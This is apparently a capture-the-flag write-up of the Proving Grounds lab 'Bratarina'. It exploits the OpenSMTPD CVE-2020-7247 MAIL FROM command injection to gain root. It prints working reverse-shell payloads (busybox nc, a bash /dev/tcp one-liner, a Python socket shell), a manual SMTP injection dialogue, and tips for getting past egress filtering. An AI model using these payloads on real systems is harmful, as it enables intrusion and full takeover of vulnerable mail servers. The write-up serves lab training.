the_open_door
coffee
ESEN

Bratarina

Proving Grounds PracticeEasyLinux192.168.172.71

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#opensmtpd#cve-2020-7247#smtp#command-injection#rce-as-root#egress-filtering#busybox#oscp
TL;DR. Bratarina is straight to the point: port 25 runs OpenSMTPD vulnerable to CVE-2020-7247, a command injection in the MAIL FROM address that runs as root because the daemon runs as root. The practical detail is picking the right payload: the bash >& shell is rejected by SMTP itself, and a callback on 4444 never returns due to egress filtering. With busybox nc to an allowed port (80) the reverse shell lands as root first try, with no escalation.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.

ping -c 1 192.168.172.71
64 bytes from 192.168.172.71: icmp_seq=1 ttl=61 time=29.2 ms

We sweep every TCP port and run version detection on the open ones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.172.71
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
445/tcp open  netbios-ssn
nmap -p22,25,80,445 -sCV 192.168.172.71 -oN targetedScan
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp  open  smtp        OpenSMTPD
| smtp-commands: bratarina Hello 192.168.172.71 [192.168.45.239], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP
|_ 2.0.0 This is OpenSMTPD 2.0.0 ...
80/tcp  open  http        nginx 1.14.0 (Ubuntu)
|_http-title:         Page not found - FlaskBB
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
Service Info: Host: bratarina; OS: Linux

Four services. The nginx on 80 serves a FlaskBB returning "Page not found" and the Samba on 445 exposes nothing interesting via null session. The eye-catcher is the SMTP on port 25: a mail server on a lab box almost always means the vector is there.

SMTP - TCP 25

The service identifies itself as OpenSMTPD. That hint is enough to look up known exploits:

searchsploit OpenSMTPD
Exploit Title                                          |  Path
-------------------------------------------------------|---------------------------
OpenSMTPD 6.6.1 - Remote Code Execution                |  linux/remote/47984.py

The exploit covers CVE-2020-7247, a flaw in the routine that validates the sender address (smtp_mailaddr). We copy it locally:

searchsploit -m linux/remote/47984.py

Shell as root

OpenSMTPD < 6.6.1 RCE (CVE-2020-7247)

The vulnerability is a command injection: OpenSMTPD builds the local delivery command by interpolating the local part of the MAIL FROM address and runs it via /bin/sh -c, without sanitising it. Since the daemon runs as root, any command we drop in there executes with that privilege. The exploit takes the command to inject as its third argument.

Under the hood 47984.py is no magic: it opens 25, speaks SMTP and drops the command into the local part of MAIL FROM, wrapped in ;. It is reproducible by hand with nc 192.168.172.71 25 (handy if the script ever stops working); this is the conversation it automates with the payload that ends up working:

HELO x
250 bratarina Hello x ...
MAIL FROM:<;busybox nc 192.168.45.239 80 -e sh;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid
DATA
354 Enter mail, end with "." on a line by itself
#
.

The ; closes the delivery command OpenSMTPD builds, and busybox nc ... -e sh is left as a standalone command that /bin/sh -c runs as root. The DATA body (a line with # and the trailing dot) only exists to make the server process the message and fire the delivery.

The natural first payload, a bash reverse shell, is rejected by SMTP itself: the & character is invalid in that context and the server answers with a 503.

python3 47984.py 192.168.172.71 25 'bash -i >& /dev/tcp/192.168.45.239/4444 0>&1'
[*] OpenSMTPD detected
[*] Connected, sending payload
[!] Error sending payload, expected 250
[!] Received: b'503 5.5.4 Invalid command arguments: Unsupported option &\r\n'

We rewrite the payload without conflicting metacharacters using busybox nc. The first attempt, on 4444, returns no connection: like other boxes in this batch, the machine filters egress.

busybox nc attempt to port 4444 that gets no connection on the listener

We switch the callback to an allowed port (80, which the box has open). With Penelope listening on 80:

penelope 80

We resend the payload and the shell lands:

python3 47984.py 192.168.172.71 25 'busybox nc 192.168.45.239 80 -e sh'

Penelope receives the reverse shell from bratarina and whoami returns root

# python3 47984.py 192.168.172.71 25 'busybox nc 192.168.45.239 80 -e sh'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

[+] Got reverse shell from bratarina~192.168.172.71-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
root@bratarina:~# whoami
root

The daemon runs as root, so the shell is born straight as root: there is no escalation to do. The same result comes from a Python one-liner with escaped quotes, this time over 445. With nc listening on 445:

nc -nlvp 445
python3 47984.py 192.168.172.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.239\",445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")"'

Python reverse shell received by nc on 445, whoami root on bratarina

# nc -nlvp 445
listening on [any] 445 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.172.71] 53880
root@bratarina:~# whoami
root

Both variants land as root (the nc on 445 confirms the connection from 192.168.172.71).

cat /root/proof.txt

proof.txt read as root, with whoami root, hostname bratarina and the IP

f5f76a001d6204dc0feb5122e9551a87

Attack chain

OpenSMTPD (SMTP 25), running as root
        │  CVE-2020-7247: command injection in MAIL FROM
        │  payload without '&' (busybox nc) + open callback port (80)
        ▼
reverse shell as root  (proof.txt)

Lessons learned

  • A service running as root turns an RCE into instant root. OpenSMTPD runs local delivery as root, which is why CVE-2020-7247 needs no later escalation. Running daemons with least privilege and delegating delivery to an unprivileged user would limit the blast radius of such a flaw.
  • The payload has to survive the protocol. The bash shell failed not because of the vulnerability but because & is invalid in the SMTP address. Adapting the command (busybox nc, Python with escaped quotes) is part of the job when the injection channel filters characters.
  • Egress filtering decides the callback port again. 4444 returned no connection; 80 did. Aiming the reverse shell at a port the box already has open dodges that control.
  • Patch in time. CVE-2020-7247 was fixed in OpenSMTPD 6.6.2 (January 2020); keeping the MTA up to date would have closed the box's only way in.
Command cheatsheet 6 commands

Quick review